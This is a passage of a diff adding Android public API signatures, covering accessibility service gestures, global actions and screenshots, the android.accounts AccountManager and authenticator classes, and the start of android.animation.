+    method public void onSystemActionsChanged();
+    method public final boolean performGlobalAction(int);
+    method public void setAccessibilityFocusAppearance(int, @ColorInt int);
+    method public void setGestureDetectionPassthroughRegion(int, @NonNull android.graphics.Region);
+    method public final void setServiceInfo(android.accessibilityservice.AccessibilityServiceInfo);
+    method public void setTouchExplorationPassthroughRegion(int, @NonNull android.graphics.Region);
+    method public void takeScreenshot(int, @NonNull java.util.concurrent.Executor, @NonNull android.accessibilityservice.AccessibilityService.TakeScreenshotCallback);
+    field public static final int ERROR_TAKE_SCREENSHOT_INTERNAL_ERROR = 1; // 0x1
+    field public static final int ERROR_TAKE_SCREENSHOT_INTERVAL_TIME_SHORT = 3; // 0x3
+    field public static final int ERROR_TAKE_SCREENSHOT_INVALID_DISPLAY = 4; // 0x4
+    field public static final int ERROR_TAKE_SCREENSHOT_NO_ACCESSIBILITY_ACCESS = 2; // 0x2
+    field public static final int GESTURE_2_FINGER_DOUBLE_TAP = 20; // 0x14
+    field public static final int GESTURE_2_FINGER_DOUBLE_TAP_AND_HOLD = 40; // 0x28
+    field public static final int GESTURE_2_FINGER_SINGLE_TAP = 19; // 0x13
+    field public static final int GESTURE_2_FINGER_SWIPE_DOWN = 26; // 0x1a
+    field public static final int GESTURE_2_FINGER_SWIPE_LEFT = 27; // 0x1b
+    field public static final int GESTURE_2_FINGER_SWIPE_RIGHT = 28; // 0x1c
+    field public static final int GESTURE_2_FINGER_SWIPE_UP = 25; // 0x19
+    field public static final int GESTURE_2_FINGER_TRIPLE_TAP = 21; // 0x15
+    field public static final int GESTURE_2_FINGER_TRIPLE_TAP_AND_HOLD = 43; // 0x2b
+    field public static final int GESTURE_3_FINGER_DOUBLE_TAP = 23; // 0x17
+    field public static final int GESTURE_3_FINGER_DOUBLE_TAP_AND_HOLD = 41; // 0x29
+    field public static final int GESTURE_3_FINGER_SINGLE_TAP = 22; // 0x16
+    field public static final int GESTURE_3_FINGER_SINGLE_TAP_AND_HOLD = 44; // 0x2c
+    field public static final int GESTURE_3_FINGER_SWIPE_DOWN = 30; // 0x1e
+    field public static final int GESTURE_3_FINGER_SWIPE_LEFT = 31; // 0x1f
+    field public static final int GESTURE_3_FINGER_SWIPE_RIGHT = 32; // 0x20
+    field public static final int GESTURE_3_FINGER_SWIPE_UP = 29; // 0x1d
+    field public static final int GESTURE_3_FINGER_TRIPLE_TAP = 24; // 0x18
+    field public static final int GESTURE_3_FINGER_TRIPLE_TAP_AND_HOLD = 45; // 0x2d
+    field public static final int GESTURE_4_FINGER_DOUBLE_TAP = 38; // 0x26
+    field public static final int GESTURE_4_FINGER_DOUBLE_TAP_AND_HOLD = 42; // 0x2a
+    field public static final int GESTURE_4_FINGER_SINGLE_TAP = 37; // 0x25
+    field public static final int GESTURE_4_FINGER_SWIPE_DOWN = 34; // 0x22
+    field public static final int GESTURE_4_FINGER_SWIPE_LEFT = 35; // 0x23
+    field public static final int GESTURE_4_FINGER_SWIPE_RIGHT = 36; // 0x24
+    field public static final int GESTURE_4_FINGER_SWIPE_UP = 33; // 0x21
+    field public static final int GESTURE_4_FINGER_TRIPLE_TAP = 39; // 0x27
+    field public static final int GESTURE_DOUBLE_TAP = 17; // 0x11
+    field public static final int GESTURE_DOUBLE_TAP_AND_HOLD = 18; // 0x12
+    field public static final int GESTURE_SWIPE_DOWN = 2; // 0x2
+    field public static final int GESTURE_SWIPE_DOWN_AND_LEFT = 15; // 0xf
+    field public static final int GESTURE_SWIPE_DOWN_AND_RIGHT = 16; // 0x10
+    field public static final int GESTURE_SWIPE_DOWN_AND_UP = 8; // 0x8
+    field public static final int GESTURE_SWIPE_LEFT = 3; // 0x3
+    field public static final int GESTURE_SWIPE_LEFT_AND_DOWN = 10; // 0xa
+    field public static final int GESTURE_SWIPE_LEFT_AND_RIGHT = 5; // 0x5
+    field public static final int GESTURE_SWIPE_LEFT_AND_UP = 9; // 0x9
+    field public static final int GESTURE_SWIPE_RIGHT = 4; // 0x4
+    field public static final int GESTURE_SWIPE_RIGHT_AND_DOWN = 12; // 0xc
+    field public static final int GESTURE_SWIPE_RIGHT_AND_LEFT = 6; // 0x6
+    field public static final int GESTURE_SWIPE_RIGHT_AND_UP = 11; // 0xb
+    field public static final int GESTURE_SWIPE_UP = 1; // 0x1
+    field public static final int GESTURE_SWIPE_UP_AND_DOWN = 7; // 0x7
+    field public static final int GESTURE_SWIPE_UP_AND_LEFT = 13; // 0xd
+    field public static final int GESTURE_SWIPE_UP_AND_RIGHT = 14; // 0xe
+    field public static final int GESTURE_UNKNOWN = 0; // 0x0
+    field public static final int GLOBAL_ACTION_ACCESSIBILITY_ALL_APPS = 14; // 0xe
+    field public static final int GLOBAL_ACTION_ACCESSIBILITY_BUTTON = 11; // 0xb
+    field public static final int GLOBAL_ACTION_ACCESSIBILITY_BUTTON_CHOOSER = 12; // 0xc
+    field public static final int GLOBAL_ACTION_ACCESSIBILITY_SHORTCUT = 13; // 0xd
+    field public static final int GLOBAL_ACTION_BACK = 1; // 0x1
+    field public static final int GLOBAL_ACTION_DISMISS_NOTIFICATION_SHADE = 15; // 0xf
+    field public static final int GLOBAL_ACTION_HOME = 2; // 0x2
+    field public static final int GLOBAL_ACTION_KEYCODE_HEADSETHOOK = 10; // 0xa
+    field public static final int GLOBAL_ACTION_LOCK_SCREEN = 8; // 0x8
+    field public static final int GLOBAL_ACTION_NOTIFICATIONS = 4; // 0x4
+    field public static final int GLOBAL_ACTION_POWER_DIALOG = 6; // 0x6
+    field public static final int GLOBAL_ACTION_QUICK_SETTINGS = 5; // 0x5
+    field public static final int GLOBAL_ACTION_RECENTS = 3; // 0x3
+    field public static final int GLOBAL_ACTION_TAKE_SCREENSHOT = 9; // 0x9
+    field public static final int GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN = 7; // 0x7
+    field public static final String SERVICE_INTERFACE = "android.accessibilityservice.AccessibilityService";
+    field public static final String SERVICE_META_DATA = "android.accessibilityservice";
+    field public static final int SHOW_MODE_AUTO = 0; // 0x0
+    field public static final int SHOW_MODE_HIDDEN = 1; // 0x1
+    field public static final int SHOW_MODE_IGNORE_HARD_KEYBOARD = 2; // 0x2
+  }
+
+  public abstract static class AccessibilityService.GestureResultCallback {
+    ctor public AccessibilityService.GestureResultCallback();
+    method public void onCancelled(android.accessibilityservice.GestureDescription);
+    method public void onCompleted(android.accessibilityservice.GestureDescription);
+  }
+
+  public static final class AccessibilityService.MagnificationController {
+    method public void addListener(@NonNull android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener);
+    method public void addListener(@NonNull android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener, @Nullable android.os.Handler);
+    method public float getCenterX();
+    method public float getCenterY();
+    method @NonNull public android.graphics.Region getMagnificationRegion();
+    method public float getScale();
+    method public boolean removeListener(@NonNull android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener);
+    method public boolean reset(boolean);
+    method public boolean setCenter(float, float, boolean);
+    method public boolean setScale(float, boolean);
+  }
+
+  public static interface AccessibilityService.MagnificationController.OnMagnificationChangedListener {
+    method public void onMagnificationChanged(@NonNull android.accessibilityservice.AccessibilityService.MagnificationController, @NonNull android.graphics.Region, float, float, float);
+  }
+
+  public static final class AccessibilityService.ScreenshotResult {
+    method @NonNull public android.graphics.ColorSpace getColorSpace();
+    method @NonNull public android.hardware.HardwareBuffer getHardwareBuffer();
+    method public long getTimestamp();
+  }
+
+  public static final class AccessibilityService.SoftKeyboardController {
+    method public void addOnShowModeChangedListener(@NonNull android.accessibilityservice.AccessibilityService.SoftKeyboardController.OnShowModeChangedListener);
+    method public void addOnShowModeChangedListener(@NonNull android.accessibilityservice.AccessibilityService.SoftKeyboardController.OnShowModeChangedListener, @Nullable android.os.Handler);
+    method public int getShowMode();
+    method public boolean removeOnShowModeChangedListener(@NonNull android.accessibilityservice.AccessibilityService.SoftKeyboardController.OnShowModeChangedListener);
+    method public boolean setShowMode(int);
+    method public boolean switchToInputMethod(@NonNull String);
+  }
+
+  public static interface AccessibilityService.SoftKeyboardController.OnShowModeChangedListener {
+    method public void onShowModeChanged(@NonNull android.accessibilityservice.AccessibilityService.SoftKeyboardController, int);
+  }
+
+  public static interface AccessibilityService.TakeScreenshotCallback {
+    method public void onFailure(int);
+    method public void onSuccess(@NonNull android.accessibilityservice.AccessibilityService.ScreenshotResult);
+  }
+
+  public class AccessibilityServiceInfo implements android.os.Parcelable {
+    ctor public AccessibilityServiceInfo();
+    method public static String capabilityToString(int);
+    method public int describeContents();
+    method public static String feedbackTypeToString(int);
+    method public static String flagToString(int);
+    method @Deprecated public boolean getCanRetrieveWindowContent();
+    method public int getCapabilities();
+    method @Deprecated public String getDescription();
+    method public String getId();
+    method public int getInteractiveUiTimeoutMillis();
+    method public int getNonInteractiveUiTimeoutMillis();
+    method public android.content.pm.ResolveInfo getResolveInfo();
+    method public String getSettingsActivityName();
+    method public boolean isAccessibilityTool();
+    method public String loadDescription(android.content.pm.PackageManager);
+    method public CharSequence loadSummary(android.content.pm.PackageManager);
+    method public void setInteractiveUiTimeoutMillis(@IntRange(from=0) int);
+    method public void setNonInteractiveUiTimeoutMillis(@IntRange(from=0) int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CAPABILITY_CAN_CONTROL_MAGNIFICATION = 16; // 0x10
+    field public static final int CAPABILITY_CAN_PERFORM_GESTURES = 32; // 0x20
+    field @Deprecated public static final int CAPABILITY_CAN_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 4; // 0x4
+    field public static final int CAPABILITY_CAN_REQUEST_FILTER_KEY_EVENTS = 8; // 0x8
+    field public static final int CAPABILITY_CAN_REQUEST_FINGERPRINT_GESTURES = 64; // 0x40
+    field public static final int CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION = 2; // 0x2
+    field public static final int CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT = 1; // 0x1
+    field public static final int CAPABILITY_CAN_TAKE_SCREENSHOT = 128; // 0x80
+    field @NonNull public static final android.os.Parcelable.Creator<android.accessibilityservice.AccessibilityServiceInfo> CREATOR;
+    field public static final int DEFAULT = 1; // 0x1
+    field public static final int FEEDBACK_ALL_MASK = -1; // 0xffffffff
+    field public static final int FEEDBACK_AUDIBLE = 4; // 0x4
+    field public static final int FEEDBACK_BRAILLE = 32; // 0x20
+    field public static final int FEEDBACK_GENERIC = 16; // 0x10
+    field public static final int FEEDBACK_HAPTIC = 2; // 0x2
+    field public static final int FEEDBACK_SPOKEN = 1; // 0x1
+    field public static final int FEEDBACK_VISUAL = 8; // 0x8
+    field public static final int FLAG_ENABLE_ACCESSIBILITY_VOLUME = 128; // 0x80
+    field public static final int FLAG_INCLUDE_NOT_IMPORTANT_VIEWS = 2; // 0x2
+    field public static final int FLAG_REPORT_VIEW_IDS = 16; // 0x10
+    field public static final int FLAG_REQUEST_2_FINGER_PASSTHROUGH = 8192; // 0x2000
+    field public static final int FLAG_REQUEST_ACCESSIBILITY_BUTTON = 256; // 0x100
+    field @Deprecated public static final int FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 8; // 0x8
+    field public static final int FLAG_REQUEST_FILTER_KEY_EVENTS = 32; // 0x20
+    field public static final int FLAG_REQUEST_FINGERPRINT_GESTURES = 512; // 0x200
+    field public static final int FLAG_REQUEST_MULTI_FINGER_GESTURES = 4096; // 0x1000
+    field public static final int FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK = 1024; // 0x400
+    field public static final int FLAG_REQUEST_TOUCH_EXPLORATION_MODE = 4; // 0x4
+    field public static final int FLAG_RETRIEVE_INTERACTIVE_WINDOWS = 64; // 0x40
+    field public static final int FLAG_SEND_MOTION_EVENTS = 16384; // 0x4000
+    field public static final int FLAG_SERVICE_HANDLES_DOUBLE_TAP = 2048; // 0x800
+    field public int eventTypes;
+    field public int feedbackType;
+    field public int flags;
+    field public long notificationTimeout;
+    field public String[] packageNames;
+  }
+
+  public final class FingerprintGestureController {
+    method public boolean isGestureDetectionAvailable();
+    method public void registerFingerprintGestureCallback(@NonNull android.accessibilityservice.FingerprintGestureController.FingerprintGestureCallback, @Nullable android.os.Handler);
+    method public void unregisterFingerprintGestureCallback(android.accessibilityservice.FingerprintGestureController.FingerprintGestureCallback);
+    field public static final int FINGERPRINT_GESTURE_SWIPE_DOWN = 8; // 0x8
+    field public static final int FINGERPRINT_GESTURE_SWIPE_LEFT = 2; // 0x2
+    field public static final int FINGERPRINT_GESTURE_SWIPE_RIGHT = 1; // 0x1
+    field public static final int FINGERPRINT_GESTURE_SWIPE_UP = 4; // 0x4
+  }
+
+  public abstract static class FingerprintGestureController.FingerprintGestureCallback {
+    ctor public FingerprintGestureController.FingerprintGestureCallback();
+    method public void onGestureDetected(int);
+    method public void onGestureDetectionAvailabilityChanged(boolean);
+  }
+
+  public final class GestureDescription {
+    method public int getDisplayId();
+    method public static long getMaxGestureDuration();
+    method public static int getMaxStrokeCount();
+    method public android.accessibilityservice.GestureDescription.StrokeDescription getStroke(@IntRange(from=0) int);
+    method public int getStrokeCount();
+  }
+
+  public static class GestureDescription.Builder {
+    ctor public GestureDescription.Builder();
+    method public android.accessibilityservice.GestureDescription.Builder addStroke(@NonNull android.accessibilityservice.GestureDescription.StrokeDescription);
+    method public android.accessibilityservice.GestureDescription build();
+    method @NonNull public android.accessibilityservice.GestureDescription.Builder setDisplayId(int);
+  }
+
+  public static class GestureDescription.StrokeDescription {
+    ctor public GestureDescription.StrokeDescription(@NonNull android.graphics.Path, @IntRange(from=0) long, @IntRange(from=0) long);
+    ctor public GestureDescription.StrokeDescription(@NonNull android.graphics.Path, @IntRange(from=0) long, @IntRange(from=0) long, boolean);
+    method public android.accessibilityservice.GestureDescription.StrokeDescription continueStroke(android.graphics.Path, long, long, boolean);
+    method public long getDuration();
+    method public android.graphics.Path getPath();
+    method public long getStartTime();
+    method public boolean willContinue();
+  }
+
+}
+
+package android.accounts {
+
+  public abstract class AbstractAccountAuthenticator {
+    ctor public AbstractAccountAuthenticator(android.content.Context);
+    method public abstract android.os.Bundle addAccount(android.accounts.AccountAuthenticatorResponse, String, String, String[], android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public android.os.Bundle addAccountFromCredentials(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public abstract android.os.Bundle confirmCredentials(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public abstract android.os.Bundle editProperties(android.accounts.AccountAuthenticatorResponse, String);
+    method public android.os.Bundle finishSession(android.accounts.AccountAuthenticatorResponse, String, android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public android.os.Bundle getAccountCredentialsForCloning(android.accounts.AccountAuthenticatorResponse, android.accounts.Account) throws android.accounts.NetworkErrorException;
+    method public android.os.Bundle getAccountRemovalAllowed(android.accounts.AccountAuthenticatorResponse, android.accounts.Account) throws android.accounts.NetworkErrorException;
+    method public abstract android.os.Bundle getAuthToken(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String, android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public abstract String getAuthTokenLabel(String);
+    method public final android.os.IBinder getIBinder();
+    method public abstract android.os.Bundle hasFeatures(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String[]) throws android.accounts.NetworkErrorException;
+    method public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException;
+    method public android.os.Bundle startAddAccountSession(android.accounts.AccountAuthenticatorResponse, String, String, String[], android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public android.os.Bundle startUpdateCredentialsSession(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String, android.os.Bundle) throws android.accounts.NetworkErrorException;
+    method public abstract android.os.Bundle updateCredentials(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String, android.os.Bundle) throws android.accounts.NetworkErrorException;
+    field public static final String KEY_CUSTOM_TOKEN_EXPIRY = "android.accounts.expiry";
+  }
+
+  public class Account implements android.os.Parcelable {
+    ctor public Account(String, String);
+    ctor public Account(android.os.Parcel);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.accounts.Account> CREATOR;
+    field public final String name;
+    field public final String type;
+  }
+
+  @Deprecated public class AccountAuthenticatorActivity extends android.app.Activity {
+    ctor @Deprecated public AccountAuthenticatorActivity();
+    method @Deprecated public final void setAccountAuthenticatorResult(android.os.Bundle);
+  }
+
+  public class AccountAuthenticatorResponse implements android.os.Parcelable {
+    ctor public AccountAuthenticatorResponse(android.os.Parcel);
+    method public int describeContents();
+    method public void onError(int, String);
+    method public void onRequestContinued();
+    method public void onResult(android.os.Bundle);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.accounts.AccountAuthenticatorResponse> CREATOR;
+  }
+
+  public class AccountManager {
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public boolean addAccountExplicitly(android.accounts.Account, String, android.os.Bundle);
+    method public boolean addAccountExplicitly(android.accounts.Account, String, android.os.Bundle, java.util.Map<java.lang.String,java.lang.Integer>);
+    method @RequiresPermission(value="android.permission.GET_ACCOUNTS", apis="..22") public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean);
+    method public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean, String[]);
+    method @RequiresPermission(value="android.permission.USE_CREDENTIALS", apis="..22") public String blockingGetAuthToken(android.accounts.Account, String, boolean) throws android.accounts.AuthenticatorException, java.io.IOException, android.accounts.OperationCanceledException;
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public void clearPassword(android.accounts.Account);
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> confirmCredentials(android.accounts.Account, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method public static android.accounts.AccountManager get(android.content.Context);
+    method public int getAccountVisibility(android.accounts.Account, String);
+    method @NonNull @RequiresPermission(value="android.permission.GET_ACCOUNTS", apis="..22") public android.accounts.Account[] getAccounts();
+    method public java.util.Map<android.accounts.Account,java.lang.Integer> getAccountsAndVisibilityForPackage(String, String);
+    method @NonNull @RequiresPermission(value="android.permission.GET_ACCOUNTS", apis="..22") public android.accounts.Account[] getAccountsByType(String);
+    method public android.accounts.AccountManagerFuture<android.accounts.Account[]> getAccountsByTypeAndFeatures(String, String[], android.accounts.AccountManagerCallback<android.accounts.Account[]>, android.os.Handler);
+    method @NonNull public android.accounts.Account[] getAccountsByTypeForPackage(String, String);
+    method @RequiresPermission(value="android.permission.USE_CREDENTIALS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @Deprecated @RequiresPermission(value="android.permission.USE_CREDENTIALS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.USE_CREDENTIALS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method public android.accounts.AuthenticatorDescription[] getAuthenticatorTypes();
+    method public java.util.Map<java.lang.String,java.lang.Integer> getPackagesAndVisibilityForAccount(android.accounts.Account);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public String getPassword(android.accounts.Account);
+    method public String getPreviousName(android.accounts.Account);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public String getUserData(android.accounts.Account, String);
+    method public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler);
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_ACCOUNTS", "android.permission.USE_CREDENTIALS"}, apis="..22") public void invalidateAuthToken(String, String);
+    method public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler);
+    method @Deprecated public static android.content.Intent newChooseAccountIntent(android.accounts.Account, java.util.ArrayList<android.accounts.Account>, String[], boolean, String, String, String[], android.os.Bundle);
+    method public static android.content.Intent newChooseAccountIntent(android.accounts.Account, java.util.List<android.accounts.Account>, String[], String, String, String[], android.os.Bundle);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public boolean notifyAccountAuthenticated(android.accounts.Account);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public String peekAuthToken(android.accounts.Account, String);
+    method @Deprecated @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public boolean removeAccountExplicitly(android.accounts.Account);
+    method public void removeOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler);
+    method public boolean setAccountVisibility(android.accounts.Account, String, int);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public void setAuthToken(android.accounts.Account, String, String);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public void setPassword(android.accounts.Account, String);
+    method @RequiresPermission(value="android.permission.AUTHENTICATE_ACCOUNTS", apis="..22") public void setUserData(android.accounts.Account, String, String);
+    method public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    method @RequiresPermission(value="android.permission.MANAGE_ACCOUNTS", apis="..22") public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler);
+    field public static final String ACTION_ACCOUNT_REMOVED = "android.accounts.action.ACCOUNT_REMOVED";
+    field public static final String ACTION_AUTHENTICATOR_INTENT = "android.accounts.AccountAuthenticator";
+    field public static final String AUTHENTICATOR_ATTRIBUTES_NAME = "account-authenticator";
+    field public static final String AUTHENTICATOR_META_DATA_NAME = "android.accounts.AccountAuthenticator";
+    field public static final int ERROR_CODE_BAD_ARGUMENTS = 7; // 0x7
+    field public static final int ERROR_CODE_BAD_AUTHENTICATION = 9; // 0x9
+    field public static final int ERROR_CODE_BAD_REQUEST = 8; // 0x8
+    field public static final int ERROR_CODE_CANCELED = 4; // 0x4
+    field public static final int ERROR_CODE_INVALID_RESPONSE = 5; // 0x5
+    field public static final int ERROR_CODE_NETWORK_ERROR = 3; // 0x3
+    field public static final int ERROR_CODE_REMOTE_EXCEPTION = 1; // 0x1
+    field public static final int ERROR_CODE_UNSUPPORTED_OPERATION = 6; // 0x6
+    field public static final String KEY_ACCOUNTS = "accounts";
+    field public static final String KEY_ACCOUNT_AUTHENTICATOR_RESPONSE = "accountAuthenticatorResponse";
+    field public static final String KEY_ACCOUNT_MANAGER_RESPONSE = "accountManagerResponse";
+    field public static final String KEY_ACCOUNT_NAME = "authAccount";
+    field public static final String KEY_ACCOUNT_SESSION_BUNDLE = "accountSessionBundle";
+    field public static final String KEY_ACCOUNT_STATUS_TOKEN = "accountStatusToken";
+    field public static final String KEY_ACCOUNT_TYPE = "accountType";
+    field public static final String KEY_ANDROID_PACKAGE_NAME = "androidPackageName";
+    field public static final String KEY_AUTHENTICATOR_TYPES = "authenticator_types";
+    field public static final String KEY_AUTHTOKEN = "authtoken";
+    field public static final String KEY_AUTH_FAILED_MESSAGE = "authFailedMessage";
+    field public static final String KEY_AUTH_TOKEN_LABEL = "authTokenLabelKey";
+    field public static final String KEY_BOOLEAN_RESULT = "booleanResult";
+    field public static final String KEY_CALLER_PID = "callerPid";
+    field public static final String KEY_CALLER_UID = "callerUid";
+    field public static final String KEY_ERROR_CODE = "errorCode";
+    field public static final String KEY_ERROR_MESSAGE = "errorMessage";
+    field public static final String KEY_INTENT = "intent";
+    field public static final String KEY_LAST_AUTHENTICATED_TIME = "lastAuthenticatedTime";
+    field public static final String KEY_PASSWORD = "password";
+    field public static final String KEY_USERDATA = "userdata";
+    field @Deprecated public static final String LOGIN_ACCOUNTS_CHANGED_ACTION = "android.accounts.LOGIN_ACCOUNTS_CHANGED";
+    field public static final String PACKAGE_NAME_KEY_LEGACY_NOT_VISIBLE = "android:accounts:key_legacy_not_visible";
+    field public static final String PACKAGE_NAME_KEY_LEGACY_VISIBLE = "android:accounts:key_legacy_visible";
+    field public static final int VISIBILITY_NOT_VISIBLE = 3; // 0x3
+    field public static final int VISIBILITY_UNDEFINED = 0; // 0x0
+    field public static final int VISIBILITY_USER_MANAGED_NOT_VISIBLE = 4; // 0x4
+    field public static final int VISIBILITY_USER_MANAGED_VISIBLE = 2; // 0x2
+    field public static final int VISIBILITY_VISIBLE = 1; // 0x1
+  }
+
+  public interface AccountManagerCallback<V> {
+    method public void run(android.accounts.AccountManagerFuture<V>);
+  }
+
+  public interface AccountManagerFuture<V> {
+    method public boolean cancel(boolean);
+    method public V getResult() throws android.accounts.AuthenticatorException, java.io.IOException, android.accounts.OperationCanceledException;
+    method public V getResult(long, java.util.concurrent.TimeUnit) throws android.accounts.AuthenticatorException, java.io.IOException, android.accounts.OperationCanceledException;
+    method public boolean isCancelled();
+    method public boolean isDone();
+  }
+
+  public class AccountsException extends java.lang.Exception {
+    ctor public AccountsException();
+    ctor public AccountsException(String);
+    ctor public AccountsException(String, Throwable);
+    ctor public AccountsException(Throwable);
+  }
+
+  public class AuthenticatorDescription implements android.os.Parcelable {
+    ctor public AuthenticatorDescription(String, String, int, int, int, int, boolean);
+    ctor public AuthenticatorDescription(String, String, int, int, int, int);
+    method public int describeContents();
+    method public static android.accounts.AuthenticatorDescription newKey(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.accounts.AuthenticatorDescription> CREATOR;
+    field public final int accountPreferencesId;
+    field public final boolean customTokens;
+    field public final int iconId;
+    field public final int labelId;
+    field public final String packageName;
+    field public final int smallIconId;
+    field public final String type;
+  }
+
+  public class AuthenticatorException extends android.accounts.AccountsException {
+    ctor public AuthenticatorException();
+    ctor public AuthenticatorException(String);
+    ctor public AuthenticatorException(String, Throwable);
+    ctor public AuthenticatorException(Throwable);
+  }
+
+  public class NetworkErrorException extends android.accounts.AccountsException {
+    ctor public NetworkErrorException();
+    ctor public NetworkErrorException(String);
+    ctor public NetworkErrorException(String, Throwable);
+    ctor public NetworkErrorException(Throwable);
+  }
+
+  public interface OnAccountsUpdateListener {
+    method public void onAccountsUpdated(android.accounts.Account[]);
+  }
+
+  public class OperationCanceledException extends android.accounts.AccountsException {
+    ctor public OperationCanceledException();
+    ctor public OperationCanceledException(String);
+    ctor public OperationCanceledException(String, Throwable);
+    ctor public OperationCanceledException(Throwable);
+  }
+
+}
+
+package android.animation {
+
+  public abstract class Animator implements java.lang.Cloneable {
+    ctor public Animator();
+    method public void addListener(android.animation.Animator.AnimatorListener);
+    method public void addPauseListener(android.animation.Animator.AnimatorPauseListener);
+    method public void cancel();
+    method public android.animation.Animator clone();
+    method public void end();
+    method public abstract long getDuration();
+    method public android.animation.TimeInterpolator getInterpolator();
